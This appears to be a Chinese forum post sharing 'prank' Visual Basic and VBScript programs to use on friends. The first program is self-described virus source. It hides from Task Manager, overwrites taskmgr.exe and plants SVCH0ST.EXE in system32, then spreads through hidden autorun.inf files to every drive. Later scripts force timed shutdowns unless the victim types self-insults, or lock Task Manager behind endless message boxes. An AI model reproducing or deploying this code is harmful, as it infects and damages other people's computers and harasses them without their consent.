给几个VB整人程序的代码。。耍耍人。呵呵

Dim num, nums '驱动器数

Dim i As Integer '文件号

Dim j As Integer 'FOR用的变量!

Private Sub Form_Load() '程序初始化！

'不准重复运行本病毒！

If App.PrevInstance Then

End

End If

'在任务管理器中隐身！

App.TaskVisible = False

'病毒自我保护函数

a0

auts

'得到当前驱动器数！

a2

'设置时间：为5000 MS 检查一次(5秒)

t1.Interval = 5000

t1.Enabled = True

End Sub

Sub a0() '病毒自我保护函数

Dim temp As String

Dim temp2 As String

On Error Resume Next

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

'得到系统目录！得到后，自我复制到SYSTEM32下！

For j = 0 To aa.ListCount - 1

temp2 = Trim(aa.List(j)) &"\windows"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

temp2 = Trim(aa.List(j)) &"\WINNT"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

GoTo zz1

Else

FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"

End If

Else

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"

End If

zz1:

Next

End Sub

Sub a1() '感染函数

Dim temp As String

Dim temp2 As String

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

For j = nums + 1 To num

temp2 = Trim(aa.List(j)) &"\auto.exe"

FileCopy temp, temp2

i = FreeFile

Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=auto.exe"

Close #i

SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden

SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden

Next

End Sub

Sub a2() '得到当前驱动器数！

num = aa.ListCount - 1

If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End Sub

Private Sub t1_Timer() '时间函数

num = aa.ListCount - 1

i = FreeFile

Open "c:\.a" For Input As #i

Line Input #i, nums

Close #i

nums = Trim(nums)

nums = Int(nums)

If num <>nums Then

If num >nums Then

a1

End If

If num <nums Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End If

aa.Refresh

End Sub

Sub bat() '写自我删除程序

On Error Resume Next

i = FreeFile

Open App.Path &"\killme.bat" For Output As #i

Print #i, "@echo off"

Print #i, "sleep 1000"

Print #i, "del " &App.EXEName + ".exe"

Print #i, "del killme.bat"

Print #i, "cls"

Print #i, "exit"

Close #i

Shell App.Path &"\killme.bat", vbHide

End

End Sub

Sub auts() '自我感染全驱动器

On Error GoTo err1

Dim file_temp As String

i = FreeFile

Open "c:\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=autorun.exe"

Close #i

file_temp = Trim(App.Path &"\" &App.EXEName &".exe")

FileCopy file_temp, "c:\autorun.exe"

SetAttr "c:\autorun.inf", vbHidden

SetAttr "c:\autorun.exe", vbHidden

Dim dirid As Integer

For dirid = 100 To 122

MsgBox Chr(dirid)

FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"

FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"

SetAttr Chr(dirid) &":\autorun.inf", vbHidden

SetAttr Chr(dirid) &" :\autorun.exe", vbHidden

Next

err1:

End Sub

后缀改为vbs

VB整人小程序三个第一个: 程序代码

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""快叫哥哥，不叫让你1分钟关机，不叫，试试···"" ",0 ,true

dim a

do while(a <>"哥哥")

a = inputbox ("说我是猪,就不关机，快，说 ""哥哥""　","叫不叫","不叫",7000,8000)

msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早叫就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "又没让你叫老公"

msgbox chr(13) + chr(13) + chr(13) + "记住了,锡尔丁,是你""哥哥""呀!"

msgbox chr(13) + chr(13) + chr(13) + "知道叫我什么了么?"

msgbox chr(13) + chr(13) + chr(13) + "可千万别叫错了!"

msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"

msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"

msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"

msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"

msgbox chr(13) + chr(13) + chr(13) + "爱我就得叫我""老公""了!"

msgbox chr(13) + chr(13) + chr(13) + "88,妹妹!"

第二个: 程序代码

Option Explicit

Private Sub Command1_Click()

Dim wood As String

MsgBox "密码:骂自己", vbCritical,"木头人友情提示" '这里写捉弄人的话

wood = InputBox("请输入密码:")

If wood = "骂自己" Then '密码可以自己设

End

Else

Shell "cmd.exe /c shutdown -s -t 60" '60秒后关几

End If

End SubPrivate Sub Command2_Click()

Shell "cmd.exe /c shutdown -a"

MsgBox "不怎么好玩", vbExclamation,"不玩了"

End

End Sub 第三个: 程序代码

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说你自己是笨蛋!你不说你电脑有什么事可别怪我啊!···"" ",0 ,true

dim a

do while(a <>"我是笨蛋")

a = inputbox ("说你自己是笨蛋。负责关机 ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说不就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你真听话!哈.."

用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY...

复制此代码新建文本文档命名为 整人.vbe（名字随便起，后缀名是vbe就可以了！）

VB整人经典代码

此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你

Private Sub Form_Load()

Open Environ$("WinDir") &"\system32\taskmgr.exe" For Binary As #1

For m = 1 To 999

MsgBox "呵呵，你知道我是谁吗？", 16

MsgBox "什么？？不知道？", 16

MsgBox "那你打开我干什么？", 16

MsgBox "你有空没事做吧？！", 16

MsgBox "我..就是鼎鼎大名的987876198", 16

MsgBox "987876198..", 16

MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16

MsgBox "算了算了，不玩你了", 16

MsgBox "现在我数3声就闪人,行了吧?", 16

MsgBox "1.............", 16

MsgBox "2.............", 16

MsgBox "3.............", 16

MsgBox "噔噔噔噔,我又回来了！", 16

MsgBox "哈哈，是不是很过瘾呢？", 16

MsgBox "现在我先介绍下自己..", 16

MsgBox "我叫王得地..", 16

MsgBox "性别：男..", 16

MsgBox "今年35岁..", 16

MsgBox "不好意思噢，我好像说多了..", 16

MsgBox "不要这样喇，听我说完先好不？", 16

MsgBox "来来来，开始喇..", 16

MsgBox "我叫王得地..", 16

MsgBox "家中有屋又有田..", 16

MsgBox "生活乐无边..", 16

MsgBox "好像我又说多了...", 16

MsgBox "不要生气嘛，你认真看下去我就放你走..", 16

MsgBox "好，开始喇..", 16

MsgBox "从前有座山..", 16

MsgBox "山里有个座庙..", 16

MsgBox "庙里有个和尚..", 16

MsgBox "哈哈，想哭吗？", 16

MsgBox "被骗的感觉不爽吧？", 16

MsgBox "喂喂喂！别别..千万别重启电脑", 16

MsgBox "我告诉你怎么关吧", 16

MsgBox "先打开任务管理器", 16

MsgBox "忘了告诉你了，任务管理器打不开了", 16

MsgBox "别恨我啊你不小心", 16

MsgBox "电脑重新启动吧", 16

MsgBox "相信我吧,你知道我是不会骗人的", 16

MsgBox "如果你还想继续点的话,你就别听我的", 16

MsgBox "呵呵,我又没有说这个东西没有", 16

MsgBox "我只想说桌面没有罢了..", 16

MsgBox "嘻嘻,爽不爽吖?", 16

MsgBox "对着电脑屏幕大声说低调大好人", 16

MsgBox "不然,我就没办法的咯", 16

MsgBox "因为我把循环设置成99了", 16

MsgBox "想保存电脑数据只有继续点了", 16

MsgBox "绝对会出到去的", 16

MsgBox "好了,废话不多说了,祝你好运..", 16

MsgBox "制作:低调不倒", 16

MsgBox "QQ：987876198", 16

MsgBox "E-mail:不告诉你", 16

MsgBox "好,继续循环..", 16

Next

End Sub

---